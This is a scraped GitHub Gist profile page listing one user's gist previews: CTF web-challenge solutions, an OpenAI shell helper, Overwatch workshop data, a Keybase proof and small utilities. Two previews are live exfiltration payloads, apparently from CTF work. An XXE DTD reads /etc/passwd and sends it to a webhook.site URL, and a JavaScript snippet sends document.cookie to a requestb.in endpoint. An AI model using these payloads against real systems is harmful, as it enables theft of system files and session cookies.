Skip to content

Instantly share code, notes, and snippets.

Avatar

Ankur Sundara arxenix

View GitHub Profile
@arxenix
arxenix / styleme.html
Created Aug 22, 2021
corCTF'21 styleme solution
View styleme.html
<!DOCTYPE html>
<html lang="en">
<head>
<title>corCTF styleme solution</title>
</head>
<body>
<form id="form" method="POST" action="http://chall/api/login">
<input id="user" type="text" name="user" value="testu123" />
<input id="pass" type="text" name="pass" value="testp123" />
</form>
@arxenix
arxenix / cool.py
Last active Jul 12, 2021
redpwn 2021 mini web solutions
View cool.py
import requests
import random
allowed_characters = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
)
def gen_username():
return ''.join(
random.choice(list(allowed_characters)) for _ in range(10)
)
@arxenix
arxenix / openai_shell.py
Created May 19, 2021
get openai to generate shell commands 4 u :)
View openai_shell.py
#!/usr/bin/env python3
import sys
import openai
import os
import time
import threading
import itertools
from colorama import Fore as C, Style as S, init as cinit
cinit()
@arxenix
arxenix / workshop.json
Last active May 30, 2019
Overwatch workshop documentation
View workshop.json
{
"actions": [
{
"name": "ABORT",
"description": "Stops execution of the action list.",
"args": []
},
{
"name": "ABORT IF",
"description": "Stops execution of the action list if this action's condition evaluates to true. If it does not, execution continues with the next action.",
View xxe.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'https://webhook.site/06771a6b-5d54-476f-954a-26ee6c0f4407/?%file;'>">
%all;
@arxenix
arxenix / keybase.md
Created Mar 30, 2018
Keybase Verification
View keybase.md

Keybase proof

I hereby claim:

  • I am arxenix on github.
  • I am arxenix (https://keybase.io/arxenix) on keybase.
  • I have a public key whose fingerprint is 582C 2575 C44B 9523 23E4 0EDB 07ED 8E52 121A BEF3

To claim this, I am signing this object:

View pwn.js
var cookie = btoa(document.cookie);
var img = document.createElement("img");
img.src = "https://requestb.in/qeqiheqe/"+cookie;
View OTP.java
import java.io.File;
import java.io.FileNotFoundException;
import java.util.Base64;
import java.util.Random;
import java.util.Scanner;
public class OTP {
public static void main(String[] args) throws FileNotFoundException {
File flag = new File("flag.txt");
@arxenix
arxenix / solves.txt
Last active Jul 22, 2016
ABCTF Solve Counts
View solves.txt
Caesar Salad:685
Elemental:703
The Flash:505
Just open it:545
Archive Me:360
Chocolate:440
Drive Home:378
Best Ganondorf:170
Get 'Em All:304
Always So Itchy:218
View qset_interpreter.py
class QSet:
def __init__(self, input=None):
self.__repr__=self.__str__
self.qset = {}
if input!=None:
for item in input:
self.add_item(item)
def add_item(self, item, amt=1):
if item in self.qset:
self.qset[item]+=amt